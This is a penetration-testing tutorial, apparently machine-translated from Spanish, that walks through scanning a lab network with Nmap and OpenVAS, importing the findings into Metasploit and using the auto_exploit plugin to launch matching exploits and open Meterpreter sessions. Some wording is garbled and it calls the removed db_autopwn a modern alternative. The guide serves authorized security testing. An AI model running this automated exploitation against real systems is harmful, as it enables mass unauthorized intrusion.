Metasploit Auto Exploit with OpenVAS: Automated Exploitation of Vulnerabilities

Introduction

In a pentesting process, one of the most laborious phases is the correlation between the vulnerabilities detected by a scanner and the exploits available in the Metasploit Framework. Doing this task manually for dozens or hundreds of hosts and services consumes considerable time.

The plugin auto_exploit, developed by Carlos Perez (darkoperator), automates this process. It connects to the Metasploit database, analyzes the results of imported vulnerability scans (from OpenVAS, Nessus, Nexpose, etc.) and automatically selects the appropriate exploit modules for each vulnerability found.

In this guide we will integrate Metasploit Framework with OpenVAS (Open Vulnerability Assessment Scanner) to perform a complete flow: network scanning with Nmap, vulnerability analysis with OpenVAS, import of results and automated exploitation with auto_exploit.

Prerequisites

To follow this guide we need a laboratory environment with the following components:

• Metasploit Framework installed and functional (version 4.x or higher).
• OpenVAS installed and configured with at least one full scan performed.
• nmap installed for initial discovery of hosts and services.
• PostgreSQL as a Metasploit database (required to store hosts, services, and vulnerabilities).
• One or more target machines in a controlled laboratory environment (Metasploitable, DVWA, etc.).

Important- This guide is intended for laboratory environments and authorized audits. Running these tools against systems without explicit authorization is illegal and may have criminal consequences.

Step 1: Configure Metasploit Database

Metasploit requires PostgreSQL to store scan results and maintain an organized record of hosts, services, vulnerabilities, and credentials found during pentesting.

We start PostgreSQL and start msfconsole:

# Iniciar PostgreSQL
service postgresql start

# Inicializar la base de datos de Metasploit (solo la primera vez)
msfdb init

# Arrancar Metasploit Framework
msfconsole

Once inside msfconsole, we verify that the connection to the database is correct:

msf > db_status
[*] postgresql connected to msf3

If the status shows postgresql connected, the database is operational. Otherwise, we check that PostgreSQL is running and that the credentials in /opt/metasploit/config/database.yml are correct.

Step 2: Network Discovery with Nmap

Before launching the vulnerability scanner, we need a complete map of the target network. We use Nmap directly from msfconsole with the command db_nmap, which automatically stores the results in the database:

msf > db_nmap -sV -O -A 192.168.1.0/24

Breakdown of options:

• -sV- Service version detection. Identifies the software and the exact version running on each open port.
• -O- Detection of the operating system through TCP/IP fingerprinting.
• -A: aggressive mode. Combines OS detection, version, NSE scripts and traceroute.

Once the scan is complete, we consult the stored results:

# Listar hosts descubiertos
msf > hosts

# Listar servicios encontrados
msf > services

# Filtrar servicios por puerto
msf > services -p 445,139

Version information is crucial for the subsequent exploitation phase, since auto_exploit You need accurate service data to map to the appropriate modules.

Step 3: Integrate OpenVAS with Metasploit

OpenVAS is an open source vulnerability scanner that maintains an up-to-date database of Network Vulnerability Tests (NVTs). Its integration with Metasploit allows you to import the analysis results directly into the MSF database.

We load the OpenVAS plugin in msfconsole:

msf > load openvas
[*] Welcome to OpenVAS integration by kost and averagesecurityguy.
[*] Successfully loaded plugin: OpenVAS

We connect to the OpenVAS Manager (OMP) service. By default, the service listens on port 9390:

msf > openvas_connect admin password localhost 9390 ok
[*] Connecting to OpenVAS instance at localhost:9390...
[*] Connected to OpenVAS.

The last parameter ok indicates that we accept the server's self-signed SSL certificate. In a production environment, it is recommended to verify the certificate manually before accepting it.

Step 4: Create and run a vulnerability scan

From msfconsole we can completely manage OpenVAS without needing to access its web interface. First, we create a target:

msf > openvas_target_create "Lab Network" 192.168.1.100 "Servidor objetivo del laboratorio"
[*] Target created: <target-id>

We consult the available scanning configurations:

msf > openvas_config_list

ID  Name
--  ----
0   Full and fast
1   Full and fast ultimate
2   Full and very deep
3   Full and very deep ultimate

Scan settings determine the depth and speed of the scan:

• Full and fast (recommended): Run all NVTs that are not potentially destructive. It is the best balance between coverage and speed.
• Full and fast ultimate: includes NVTs that can cause denial of service. Use only in laboratory environments.
• Full and very deep: exhaustive analysis with all non-destructive NVTs. Slower but more complete.
• Full and very deep ultimate: Complete analysis including dangerous NVTs. For laboratory only.

We create the scan task by specifying the configuration and goal:

# Crear la tarea: nombre, comentario, config_id, target_id
msf > openvas_task_create "Scan Lab" "Escaneo inicial" 0 5
[*] Task created: <task-id>

# Iniciar el escaneo
msf > openvas_task_start <task-id>
[*] Task started.

We can monitor the progress of the scan with:

msf > openvas_task_list

ID  Status   Progress  Name
--  ------   --------  ----
1   Running  45%       Scan Lab

The scan can take between 15 minutes and several hours depending on the number of hosts, open ports, and the selected configuration. When progress shows -1 or the status changes to Done, the analysis is complete.

Step 5: Import the results into Metasploit

Once the scan is complete, we list the available reports and import them into the Metasploit database:

# Listar reportes disponibles
msf > openvas_report_list

ID  Task          Date                 Status
--  ----          ----                 ------
1   Scan Lab      2013-03-23 14:30     Done

# Importar el reporte a la base de datos de Metasploit
msf > openvas_report_import <report-id> <format-id>
[*] Importing report...
[*] Report imported successfully.

We can also download the report in different formats for documentation:

# Listar formatos disponibles
msf > openvas_format_list

# Descargar en formato PDF
msf > openvas_report_download <report-id> <format-id> /tmp/reporte-openvas.pdf

After importing, we verify that the vulnerabilities have been registered correctly:

# Listar vulnerabilidades encontradas
msf > vulns

# Filtrar por host específico
msf > vulns -a 192.168.1.100

Step 6: Install and use the auto_exploit plugin

The plugin auto_exploit of darkoperator It is the component that automates the correlation between vulnerabilities and exploitation modules. We download and install the plugin:

# Descargar el plugin en el directorio de plugins de Metasploit
cd /opt/metasploit/msf3/plugins/
wget https://raw.githubusercontent.com/darkoperator/Metasploit-Plugins/master/auto_exploit.rb

We load the plugin in msfconsole:

msf > load auto_exploit
[*] auto_exploit plugin loaded.
[*] Use 'auto_exploit -h' for help.

The plugin analyzes the vulnerabilities stored in the database and searches for matches with the exploit modules available in Metasploit. The correlation process is based on:

• CVE References: Searches for modules that exploit the same CVEs detected by OpenVAS.
• Service information: Filters modules compatible with the identified service and version.
• Module ranking- Prioritize exploits with ranking excellent either great to minimize the risk of causing instability.

We execute automated exploitation:

# Ver las opciones disponibles
msf > auto_exploit -h

# Ejecutar auto_exploit contra todos los hosts con vulnerabilidades
msf > auto_exploit -e -t 192.168.1.100

# Opciones útiles:
#   -e            Ejecutar los exploits (sin esta flag solo lista los módulos)
#   -t <host>     Filtrar por host objetivo
#   -r <ranking>  Ranking mínimo del exploit (excellent, great, good)
#   -p <payload>  Payload específico a utilizar

When executed without the flag -e, the plugin shows a list of the modules it would use and the target hosts, allowing you to review the strategy before launching the exploits. This is best practice: always check before you run.

Step 7: Verify and manage sessions

If the exploit is successful, we will get one or more Meterpreter or shell sessions. We list the active sessions:

msf > sessions -l

Active sessions
===============

  Id  Type                     Connection
  --  ----                     ----------
  1   meterpreter x86/linux    192.168.1.10:4444 -> 192.168.1.100:45678
  2   shell                    192.168.1.10:4445 -> 192.168.1.100:45679

# Interactuar con una sesión
msf > sessions -i 1
meterpreter > sysinfo
meterpreter > getuid

Complete flow summarized

The complete automated exploitation process follows these steps:

1. Discovery: db_nmap -sV -O -A <red> — identifies hosts, ports and versions.
2. Loading OpenVAS: load openvas + openvas_connect — connects to the scanner.
3. Vulnerability scanning: openvas_target_create + openvas_task_create + openvas_task_start.
4. Import of results: openvas_report_import — transfers vulnerabilities to the MSF database.
5. Revision: auto_exploit (without -e) — lista los exploits candidatos.
6. Exploitation: auto_exploit -e — executes the selected exploits.
7. Post-exploitation: sessions -i — manages the sessions obtained.

Important considerations

Exploit automation is a powerful tool but must be used judiciously:

• False positives: OpenVAS (like any scanner) can report vulnerabilities that are not really exploitable. Review mode without -e allows you to filter these cases before launching the exploits.
• Target stability- Some exploits can cause service outages or instability. Always prioritize modules with ranking excellent either great.
• Documentation: Recording every action during pentesting is essential. Metasploit stores a log of all actions in the database, but it is advisable to complement it with your own notes.
• Scope: auto_exploit it only runs exploits against the hosts and vulnerabilities that are in the database. If the initial scan was limited, the results will be limited.
• Modern alternatives- In newer versions of Metasploit, the command db_autopwn offers similar functionality. However, it was removed from the Metasploit core for being considered too aggressive, which makes it auto_exploit remains a valid alternative by allowing greater control over the process.

:wq!